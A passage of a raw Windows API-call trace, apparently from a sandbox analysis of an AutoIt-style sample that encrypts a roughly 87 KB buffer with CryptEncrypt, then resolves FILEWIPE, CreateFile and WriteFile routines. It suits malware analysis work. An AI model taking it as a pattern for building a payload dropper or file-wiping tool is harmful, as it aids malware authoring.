wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.892] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0027.892] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.893] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.893] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.893] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0027.893] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.893] CryptGetKeyParam (in: hKey=0xe8f4062640, dwParam=0x7, pbData=0xe8f4064b30, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064b30*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0027.893] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.893] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.893] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.893] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.893] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.893] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.893] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.893] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.893] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.894] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.894] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.894] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.894] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.894] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.894] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.894] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.894] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.894] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.894] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.894] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.894] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.894] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.894] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.894] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.896] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.896] CryptEncrypt (in: hKey=0xe8f4062640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x156ed, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x156f0) returned 1 [0027.896] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.896] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.896] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.896] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.896] CharLowerBuffW (in: lpsz="byte[87793]", cchLength=0xb | out: lpsz="byte[87793]") returned 0xb [0027.896] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.898] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.898] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.898] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.899] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.899] CryptEncrypt (in: hKey=0xe8f4062640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f6000080*, pdwDataLen=0xe8f3dfdf68*=0x156ed, dwBufLen=0x156f0 | out: pbData=0xe8f6000080*, pdwDataLen=0xe8f3dfdf68*=0x156f0) returned 1 [0027.899] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.899] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.899] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.900] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.900] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.900] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.900] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.900] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.900] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.900] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.900] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.900] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.900] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.900] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.900] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.900] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.900] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.904] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.905] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.905] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.906] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.906] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.906] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0027.906] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.906] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.906] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0027.906] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.907] CryptDestroyKey (hKey=0xe8f4062640) returned 1 [0027.907] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.907] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.907] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.907] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.907] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.907] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.907] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.907] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.907] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.907] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0027.907] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.907] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.907] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.907] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.907] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.907] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.907] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.907] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.907] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.907] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.907] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.907] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.907] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.907] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.907] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.907] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.907] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.907] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.907] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.907] CryptReleaseContext (hProv=0xe8f40633d0, dwFlags=0x0) returned 1 [0027.908] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.908] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.908] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.908] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.908] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.908] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.908] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.910] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.911] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.911] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0027.911] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.911] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.911] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.911] CharLowerBuffW (in: lpsz="byte[87789]", cchLength=0xb | out: lpsz="byte[87789]") returned 0xb [0027.912] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.912] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0027.912] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.912] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0027.912] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.912] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.912] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.912] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0027.912] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.912] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.912] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.912] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.912] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.912] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.913] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.913] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.913] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.913] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.913] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.913] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.913] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.913] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.913] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.913] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.913] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0027.915] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.915] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.915] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.915] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0027.915] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.915] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.915] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.915] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.915] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.915] PeekMessageW (in: lpMsg=0xe8f3dfee40, 